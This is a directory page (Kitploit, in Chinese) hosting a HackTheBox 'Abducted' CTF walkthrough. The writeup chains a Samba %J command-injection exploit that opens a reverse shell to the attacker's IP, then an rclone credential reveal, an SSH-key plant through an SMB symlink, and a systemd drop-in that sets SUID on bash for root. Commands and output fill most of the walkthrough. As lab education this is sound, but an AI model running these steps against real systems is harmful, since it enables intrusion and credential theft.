Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Abducted-HTB-Writeup — 🔴 HackTheBox Abducted(中等难度)— CVE-2026-4480(Samba %J)→ rclone 泄露 → SMB 符号链接 → systemd Drop-in → 获取 Root 权限 | Kitploit
工具/GitHubGitHub/timgad794/abducted-htb-writeup
权限提升漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试学习与教育实验室与实践
GitHubtimgad794/abducted-htb-writeup

Abducted-HTB-Writeup

🔴 HackTheBox Abducted(中等难度)— CVE-2026-4480(Samba %J)→ rclone 泄露 → SMB 符号链接 → systemd Drop-in → 获取 Root 权限

1个月前尚未审核
分享
查看仓库

🎯 HackTheBox — Abducted

** 难度: ** 中等 · ** 操作系统: ** Linux · ** 类别: ** Samba CVE / 权限提升

Status Platform OS Difficulty

作者 @timgad794


📋 概述

Abducted 模拟了专业服务环境中的一台已遭入侵的本地文件和打印服务器。该靶机串联了 Samba 打印子系统漏洞(CVE-2026-4480)、rclone 凭据泄露、SMB 符号链接攻击以及 systemd drop-in 权限提升。

利用链:

Recon (nmap) → SMB enum (HP-Reception printer share)
  → CVE-2026-4480 (Samba %J command injection) → RCE as nobody
  → /opt/offsite-backup/rclone.conf (obfuscated password)
  → rclone reveal → cleartext password
  → SSH as scott → User Flag
  → SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
  → systemd drop-in (smbd.service.d) → SUID bash → root

🖼️ 截图

初始 Nmap 扫描: Nmap 扫描

以 nobody 身份获取反向 shell: 反向 Shell

使用 SUID bash 获取 root shell: Root Shell


🔧 步骤 1 — 侦察

1.1 主机条目

echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts

1.2 Nmap 全扫描

nmap abducted.htb -sCV -A -oN abducted-nmap.txt

结果:

端口服务版本
22/tcpSSHOpenSSH 9.6p1 Ubuntu
139/tcpnetbios-ssnSamba smbd 4
445/tcpnetbios-ssnSamba smbd 4

3 个开放的 TCP 端口 — 一台 Linux 文件与打印服务器。


🔧 步骤 2 — SMB 枚举

2.1 列出共享(guest 登录)

smbclient -L //abducted.htb -N

输出:

Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)

主要发现:

  • HP-Reception — 带访客访问权限的打印机共享
  • transfer — 文件传输共享(后续用于符号链接攻击)

🔧 步骤 3 — 初始访问:CVE-2026-4480

3.1 漏洞

Samba 通过 %J 占位符将客户端控制的打印作业描述传递给 print command,且未对 shell 元字符进行转义。这使得未经身份验证的攻击者能够以打印服务账户身份执行任意命令。

3.2 克隆 PoC

git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30

3.3 启动监听器

终端 A:

nc -lvnp 8443

3.4 运行漏洞利用程序

终端 B:

cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception

预期输出:

[*] target   : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener

终端 A:

Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$

我们现在拥有 以 nobody 身份执行的 RCE(uid=65534)。


🔧 第 4 步 — 后利用:rclone 凭据

4.1 在 shell 中进行侦察

id
# uid=65534(nobody) gid=65534(nogroup)

cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus

4.2 查找 rclone 配置

find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf

cat /opt/offsite-backup/rclone.conf

输出:

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

4.3 解密密码

rclone 使用可逆的 base64 混淆。请使用 rclone 本身:

# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw

输出:

iXzvcib3SrpZ

🔧 步骤 5 — 横向移动:以 scott 身份使用 SSH

5.1 密码重用

ssh [email protected]
# Password: iXzvcib3SrpZ

登录成功!

id
# uid=1000(scott) gid=1001(scott)

cat ~/user.txt
# 🟢 User Flag

🔧 步骤 6 — 横向移动:scott → marcus

6.1 配置错误

/etc/samba/shares.conf 中的 transfer 共享包含:

[transfer]
    path = /srv/transfer
    force user = marcus
    wide links = yes
    ...

含义:

  • force user = marcus — 所有文件操作都以 marcus 身份运行
  • wide links = yes — 符号链接可以指向共享目录之外

6.2 符号链接攻击

在 SSH 会话中以 scott 身份:

# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k

# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys

# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'put /home/scott/k.pub keys/.ssh/authorized_keys'

验证:

smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"

6.3 以 marcus 身份使用 SSH

ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)

重要: operators 是升级的关键组。


🔧 步骤 7 — 权限提升:marcus → root

7.1 配置错误

find / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d

ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators

operators 组对 smbd 服务的 systemd drop-in 目录具有写访问权限。

7.2 直接替换劫持

以 marcus 身份:

cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF

重新加载 + 重启(polkit 允许 operators 无需密码运行 daemon-reload):

systemctl daemon-reload
systemctl restart smbd

7.3 利用 SUID bash

/bin/bash -p
id
# → euid=0(root)

cat /root/root.txt
# 🔴 Root Flag

Box 已完全攻陷。 ✅


🏆 结果

Flag路径
🟢 用户/home/scott/user.txt
🔴 Root/root/root.txt

📚 关键概念

概念应用
CVE-2026-4480Samba %J 打印命令注入 → RCE
rclone 去混淆使用 rclone reveal 还原可逆的 base64 混淆
密码复用svc-backup 的密码同样适用于 scott
SMB 符号链接攻击wide links = yes + force user = marcus
systemd Drop-in 劫持对 smbd.service.d 的写权限 → ExecStartPre
SUID Bashchmod +s /bin/bash + /bin/bash -p → euid=0
polkit 绕过operators 组无需认证即可执行 daemon-reload

🧰 工具与参考

  • CVE-2026-4480 PoC (TheCyberGeek)
  • rclone Reveal
  • Samba wide links
  • systemd Drop-in
  • Nmap

⚠️ 免责声明

本篇文章仅记录在 HackTheBox 平台上进行的一次授权渗透测试。所有凭据和 flag 均属于实验环境,并非生产系统。

⭐ 如果这篇 writeup 对你有帮助,欢迎点个 star!

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

暂无热门数据。

探索所有工具

浏览我们的工具集合

查看所有工具 →